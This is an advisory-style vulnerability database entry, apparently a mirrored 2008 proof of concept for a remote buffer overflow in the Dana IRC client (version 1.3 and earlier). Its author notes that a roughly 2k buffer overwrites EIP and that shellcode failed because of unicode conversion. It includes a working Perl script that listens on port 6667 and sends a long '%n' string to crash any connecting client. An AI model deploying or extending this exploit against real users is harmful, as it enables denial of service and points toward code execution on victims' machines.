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Dana IRC <= 1.3 Remote Buffer Overflow PoC

🗓️ 16 Jun 2008 00:00:00Reported by RootType 
seebug
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Dana IRC <= 1.3 Remote Buffer Overflow PoC by t0pP8uZz, discovered on 14 JUNE 2008. Remote buffer overflow crashes the client. Perl code to crash client on port 6667

Code

                                                -&nbsp;Dana&nbsp;IRC&nbsp;&lt;=&nbsp;1.3&nbsp;Remote&nbsp;Buffer&nbsp;Overflow&nbsp;POC/Crash&nbsp;-

	Discovered&nbsp;On:&nbsp;14&nbsp;JUNE&nbsp;2008
	Discovered&nbsp;By:&nbsp;t0pP8uZz

	Download:&nbsp;diebestenbits.de


	-&nbsp;Info&nbsp;-

	Dana&nbsp;Irc&nbsp;client&nbsp;suffers&nbsp;from&nbsp;a&nbsp;remote&nbsp;buffer&nbsp;overflow,&nbsp;sending&nbsp;a&nbsp;buffer&nbsp;of&nbsp;around&nbsp;2k
	overwrites&nbsp;the&nbsp;EIP&nbsp;therefor&nbsp;crashes&nbsp;the&nbsp;client.&nbsp;The&nbsp;reason&nbsp;why&nbsp;there&nbsp;isnt&nbsp;any&nbsp;shellcode&nbsp;here
	is&nbsp;because&nbsp;the&nbsp;client&nbsp;is&nbsp;coverting&nbsp;the&nbsp;junk/buffer&nbsp;data&nbsp;to&nbsp;unicode&nbsp;so&nbsp;its&nbsp;corrupting&nbsp;the&nbsp;shellcode
	ive&nbsp;tried&nbsp;sending&nbsp;unicode&nbsp;buffer&nbsp;but&nbsp;the&nbsp;same&nbsp;problem&nbsp;occurs.
	
	if&nbsp;anyone&nbsp;else&nbsp;can&nbsp;get&nbsp;further&nbsp;please&nbsp;let&nbsp;me&nbsp;know.&nbsp;but&nbsp;i&nbsp;doubt&nbsp;you&nbsp;can.

	there&nbsp;are&nbsp;also&nbsp;other&nbsp;registers&nbsp;you&nbsp;can&nbsp;overwrite&nbsp;using&nbsp;diffrent&nbsp;junk&nbsp;data&nbsp;to&nbsp;overflow&nbsp;them.

	the&nbsp;peice&nbsp;of&nbsp;perl&nbsp;code&nbsp;below&nbsp;will&nbsp;listen&nbsp;on&nbsp;port&nbsp;6667&nbsp;and&nbsp;when&nbsp;a&nbsp;Dana&nbsp;IRC&nbsp;client&nbsp;connects
	it&nbsp;will&nbsp;crash&nbsp;the&nbsp;client.&nbsp;its&nbsp;also&nbsp;possible&nbsp;to&nbsp;send&nbsp;the&nbsp;data&nbsp;direct&nbsp;to&nbsp;the&nbsp;user.

	peace,&nbsp;t0pP8uZz

#!/usr/bin/perl

use&nbsp;IO::Socket;

$sock&nbsp;=&nbsp;IO::Socket::INET-&gt;new(&nbsp;Proto&nbsp;=&gt;&nbsp;'tcp',&nbsp;LocalPort&nbsp;=&gt;&nbsp;'6667',&nbsp;Listen&nbsp;=&gt;&nbsp;SOMAXCONN,&nbsp;Reuse&nbsp;=&gt;&nbsp;1&nbsp;);

$jnk&nbsp;=&nbsp;&quot;%n&quot;x1000;
print&nbsp;&quot;Running..&quot;;
while($client&nbsp;=&nbsp;$sock-&gt;accept())&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;print&nbsp;$client&nbsp;&quot;$jnk\r\n&quot;;
&nbsp;&nbsp;&nbsp;&nbsp;print&nbsp;&quot;Crashed&nbsp;Client!\n&quot;;
}
                              

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16 Jun 2008 00:00Current
7.1High risk
Vulners AI Score7.1
12